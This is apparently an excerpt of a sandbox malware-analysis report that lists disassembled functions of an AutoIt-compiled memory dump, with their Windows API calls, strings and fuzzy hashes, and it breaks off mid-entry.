API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: e6d2f0157a62d06dda45dc8d73e53a7d2b99eebbccab469d3ebd97ffecb734cc
Instruction ID: f738f5e4c9e57bdee10dec93c0f536ae209ddba88366f0a615c40192729bcc0e
Opcode Fuzzy Hash: e6d2f0157a62d06dda45dc8d73e53a7d2b99eebbccab469d3ebd97ffecb734cc
Instruction Fuzzy Hash: B291D671E08A265ADF208E74E851AEE7BB79FA6310F184569E805EF281D735CD41CFA0

Function 00664523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00664648
VariantInit.OLEAUT32(?), ref: 00664749
VariantClear.OLEAUT32(?), ref: 00664753
VariantClear.OLEAUT32(?), ref: 006647B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0066472C
Null Object assignment in FOR..IN loop, xrefs: 006645D8, 00664706, 006647BE

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: f84c23639c5fb87a9904c36445133bb6d66098f4260ec444649bf04f899812be
Instruction ID: 3ee94f51d69eeadf5297773d759b53ee5f71ac5b5f355123886b8166435b68b8
Opcode Fuzzy Hash: f84c23639c5fb87a9904c36445133bb6d66098f4260ec444649bf04f899812be
Instruction Fuzzy Hash: 93916171A00219ABDF24CFA5CC44FEE7BBAEF46714F108559F515AB280DB709945CFA0

Function 00651187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 0065125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00651284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 006512A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 006512D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 0065135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 006513C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00651430

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 3af14eaff8000b723eedc7056120a13649f03bfc71cda30779486b1285a63a36
Instruction ID: ad89ad03cd0676d3dba5d3a3ca6a4dee01e5b244cd24402a1a8669b0bebaabd4
Opcode Fuzzy Hash: 3af14eaff8000b723eedc7056120a13649f03bfc71cda30779486b1285a63a36
Instruction Fuzzy Hash: 4591C271A00219AFDB04DF94C885BBEB7F6FF46326F144029E950EB291D774A989CB90

Function 005F948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 7a3a3b62beacc4ccd0f7508fc1a6925b93e4c6820b1ab2a95a01cf8ae81e0182
Instruction ID: 1747835b8e7394a1432c9e44f7cd620bed40dd3dc43e8fa2724f182040d580b5
Opcode Fuzzy Hash: 7a3a3b62beacc4ccd0f7508fc1a6925b93e4c6820b1ab2a95a01cf8ae81e0182
Instruction Fuzzy Hash: C3912771D00619EFCB14CFA9C888AEEBFB9FF49320F144459E615B7251D379AA41CBA0

Function 00663947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0066396B
CharUpperBuffW.USER32(?,?), ref: 00663A7A
_wcslen.LIBCMT ref: 00663A8A
VariantClear.OLEAUT32(?), ref: 00663C1F

Part of subcall function 00650CDF: VariantInit.OLEAUT32(00000000), ref: 00650D1F
Part of subcall function 00650CDF: VariantCopy.OLEAUT32(?,?), ref: 00650D28
Part of subcall function 00650CDF: VariantClear.OLEAUT32(?), ref: 00650D34

Strings

Incorrect Parameter format, xrefs: 006639A6, 00663BA1
AUTOIT.ERROR, xrefs: 00663A80, 00663A85

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 2efea55af6e8ded9a72a428b67d3ca573675bcd83b036dfbba84fa429c220eaa
Instruction ID: d5458466978275437a61287ab1770bc77e7184896058b572bae791cb253decb0
Opcode Fuzzy Hash: 2efea55af6e8ded9a72a428b67d3ca573675bcd83b036dfbba84fa429c220eaa
Instruction Fuzzy Hash: E09178746083459FC704EF24C48596ABBE6FF89314F14896EF88A9B351DB30EE45CB92

Function 00664BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 0064000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0063FF41,80070057,?,?,?,0064035E), ref: 0064002B
Part of subcall function 0064000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0063FF41,80070057,?,?), ref: 00640046
Part of subcall function 0064000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0063FF41,80070057,?,?), ref: 00640054
Part of subcall function 0064000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0063FF41,80070057,?), ref: 00640064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00664C51
_wcslen.LIBCMT ref: 00664D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00664DCF
CoTaskMemFree.OLE32(?), ref: 00664DDA

Strings

NULL Pointer assignment, xrefs: 00664E23, 00664E52

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 8f5f2750d8425c2cdfbeaa5790035a9ff7d5ca5ae7c01533c956a921e7a2ed7a
Instruction ID: 93429cee705177eeb2a8be140b08f64a63a670eef336b293bb89097a544cf511
Opcode Fuzzy Hash: 8f5f2750d8425c2cdfbeaa5790035a9ff7d5ca5ae7c01533c956a921e7a2ed7a
Instruction Fuzzy Hash: 51911771D0021DAFDF14DFA4C895AEEBBBABF48310F108169E915A7251EB319E45CF60

Function 006720FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00672183
GetMenuItemCount.USER32(00000000), ref: 006721B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 006721DD
_wcslen.LIBCMT ref: 00672213
GetMenuItemID.USER32(?,?), ref: 0067224D
GetSubMenu.USER32(?,?), ref: 0067225B

Part of subcall function 00643A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00643A57
Part of subcall function 00643A3D: GetCurrentThreadId.KERNEL32 ref: 00643A5E
Part of subcall function 00643A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,006425B3), ref: 00643A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 006722E3

Part of subcall function 0064E97B: Sleep.KERNEL32 ref: 0064E9F3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 577437a991ef8748b25a6053aa79b00317e1ccdca6638ac518775646893c0810
Instruction ID: 0f35a134719124490a2891cb6bde6fb3e2f1db033d4a10f8c4d55c5474fe71c6
Opcode Fuzzy Hash: 577437a991ef8748b25a6053aa79b00317e1ccdca6638ac518775646893c0810
Instruction Fuzzy Hash: A8718375E00206AFCB14DF65C855AAEBBF6FF88310F148459E96AEB341D734EE418B90

Function 00677E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(019B5200), ref: 00677F37
IsWindowEnabled.USER32(019B5200), ref: 00677F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0067801E
SendMessageW.USER32(019B5200,000000B0,?,?), ref: 00678051
IsDlgButtonChecked.USER32(?,?), ref: 00678089
GetWindowLongW.USER32(019B5200,000000EC), ref: 006780AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 006780C3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: d0c51dadda0b491d7f66c9ae841f47455675fa83933e104cd3b0d74dab729ada
Instruction ID: 8776ddb04095188e5648f1d9d8ceccda956b1c98053b74f9fa306cb94a6ff6ab
Opcode Fuzzy Hash: d0c51dadda0b491d7f66c9ae841f47455675fa83933e104cd3b0d74dab729ada
Instruction Fuzzy Hash: 59719E74608244AFEB25DF64C994FEABBB7EF09300F148459E94997361CB35AC85CB20

Function 0064AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0064AEF9
GetKeyboardState.USER32(?), ref: 0064AF0E
SetKeyboardState.USER32(?), ref: 0064AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 0064AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 0064AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 0064AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 0064B020

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: b7c034c7107941e28fd0234d2180df54f598156f6aa080bbe306b5efcf09deb7
Instruction ID: cd1e3edad2754439fc722ec1824e8e785bc10c667a1c3a237c74adc6308bf162
Opcode Fuzzy Hash: b7c034c7107941e28fd0234d2180df54f598156f6aa080bbe306b5efcf09deb7
Instruction Fuzzy Hash: 9751EEA0A543D13DFB368274C845BFBBEAA5B06704F08948DE1E9859C2C3D8EDC8D761

Function 0064ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 0064AD19
GetKeyboardState.USER32(?), ref: 0064AD2E
SetKeyboardState.USER32(?), ref: 0064AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0064ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0064ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0064AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0064AE38

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: da9dfb8c0685fc3e04f1255d1fa66f68b29a893cae6fd5fe3c779885aa602ab5
Instruction ID: 07b43df69c4daeb097a2af844f5cea5ffcc690e6f926761e41cadcb0a10bd32a
Opcode Fuzzy Hash: da9dfb8c0685fc3e04f1255d1fa66f68b29a893cae6fd5fe3c779885aa602ab5
Instruction Fuzzy Hash: C351E6B19887D53DFB3683B4CC95BFA7EAA5F46300F08858CE1E5469C2C294ED84E752

Function 0061542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00623CD6,?,?,?,?,?,?,?,?,00615BA3,?,?,00623CD6,?,?), ref: 00615470
__fassign.LIBCMT ref: 006154EB
__fassign.LIBCMT ref: 00615506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00623CD6,00000005,00000000,00000000), ref: 0061552C
WriteFile.KERNEL32(?,00623CD6,00000000,00615BA3,00000000,?,?,?,?,?,?,?,?,?,00615BA3,?), ref: 0061554B
WriteFile.KERNEL32(?,?,00000001,00615BA3,00000000,?,?,?,?,?,?,?,?,?,00615BA3,?), ref: 00615584

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 29e308062944911559d36950980581caef22c12d5dbe62a4162b38e16d4cb9e7
Instruction ID: 0c24f0aa6f6403ef77ecc1234cdcd1e888cf7bca6f4cc36a58f7a6ea03a1fc2b
Opcode Fuzzy Hash: 29e308062944911559d36950980581caef22c12d5dbe62a4162b38e16d4cb9e7
Instruction Fuzzy Hash: C851B570A00649DFDB10CFA8D845AEEFBFBEF49310F18415AE556E7291D7309A81CB60

Function 006610B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0066304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0066307A
Part of subcall function 0066304E: _wcslen.LIBCMT ref: 0066309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00661112
WSAGetLastError.WSOCK32 ref: 00661121
WSAGetLastError.WSOCK32 ref: 006611C9
closesocket.WSOCK32(00000000), ref: 006611F9

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: c3ae39619773eadf68157e971b254672e59fb9c2bbdd4ee1ddfc0d9166e4146b
Instruction ID: 2b34f2ba293abdb76f31432312d3f21edae4febe4dda49a152668cae347c8a4f
Opcode Fuzzy Hash: c3ae39619773eadf68157e971b254672e59fb9c2bbdd4ee1ddfc0d9166e4146b
Instruction Fuzzy Hash: A741C331600214AFDB149F14C845BA9BBEAFF86324F188059F9599F391C774ED81CBA1

Function 0064CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0064CF22,?), ref: 0064DDFD

Part of subcall function 0064DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0064CF22,?), ref: 0064DE16

lstrcmpiW.KERNEL32(?,?), ref: 0064CF45
MoveFileW.KERNEL32(?,?), ref: 0064CF7F
_wcslen.LIBCMT ref: 0064D005
_wcslen.LIBCMT ref: 0064D01B
SHFileOperationW.SHELL32(?), ref: 0064D061

Strings

\*.*, xrefs: 0064CFF3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: df902411d178f2ebcf54196c99447c43aea6aa7a693ea5951f04b7c374ba804c
Instruction ID: e95a028ac4084a6ba5ba1deb456d3d5169f04d28a4d4f9a90744fbebffdb6d8a
Opcode Fuzzy Hash: df902411d178f2ebcf54196c99447c43aea6aa7a693ea5951f04b7c374ba804c
Instruction Fuzzy Hash: D3417871D451189FDF56EFA4C981ADEB7BAAF44340F0000EAE505EB241EB35A788CB54

Function 00672DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00672E1C
GetWindowLongW.USER32(?,000000F0), ref: 00672E4F
GetWindowLongW.USER32(?,000000F0), ref: 00672E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00672EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00672EE0
GetWindowLongW.USER32(?,000000F0), ref: 00672EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00672F0B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 2f3cdc491783693048339204320780b8d2cf63bc09eccfb4a5cb4db26e11f652
Instruction ID: 2ad7c7387f627a830187f5ebe54a61839a7e37e9869e0100a5e42115568cef0f
Opcode Fuzzy Hash: 2f3cdc491783693048339204320780b8d2cf63bc09eccfb4a5cb4db26e11f652
Instruction Fuzzy Hash: 22310630644152AFEB21DF58DCE4FA537E2FB4A720F155168FA489F2B1CB71A880DB41

Function 00647726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00647769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0064778F
SysAllocString.OLEAUT32(00000000), ref: 00647792
SysAllocString.OLEAUT32(?), ref: 006477B0
SysFreeString.OLEAUT32(?), ref: 006477B9
StringFromGUID2.OLE32(?,?,00000028), ref: 006477DE
SysAllocString.OLEAUT32(?), ref: 006477EC

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 339bc4aa6efd126b2ebf97f26eb3cd5a3ce5cef1f5ec94b15a6cb59ad18e2306
Instruction ID: a8ee1178fd169518026fb999453b50154e0ffa5849d7f1f5fc81abab3c7e4343
Opcode Fuzzy Hash: 339bc4aa6efd126b2ebf97f26eb3cd5a3ce5cef1f5ec94b15a6cb59ad18e2306
Instruction Fuzzy Hash: 69219276604219AFDB10DFA8CC88CFB77EEEB097647448029FA15DB251D770DC8587A0

Function 006477FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00647842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00647868
SysAllocString.OLEAUT32(00000000), ref: 0064786B
SysAllocString.OLEAUT32 ref: 0064788C
SysFreeString.OLEAUT32 ref: 00647895
StringFromGUID2.OLE32(?,?,00000028), ref: 006478AF
SysAllocString.OLEAUT32(?), ref: 006478BD

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: d4b8ad6bb1bd8562d510a1fd3a74798c4d30a6e790f6f0ba3f9b6477f39b8a98
Instruction ID: 4214ad62b181740cfcc8eb4e5b926bb7938473ca13571a6131d90912e2751ae5
Opcode Fuzzy Hash: d4b8ad6bb1bd8562d510a1fd3a74798c4d30a6e790f6f0ba3f9b6477f39b8a98
Instruction Fuzzy Hash: 9D217131608204AFDB14AFA8DC8CDBA77EDEB097607108135FA15DB2A5E774DC81CB64

Function 006504D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 006504F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0065052E

Strings

nul, xrefs: 00650567

Memory Dump Source

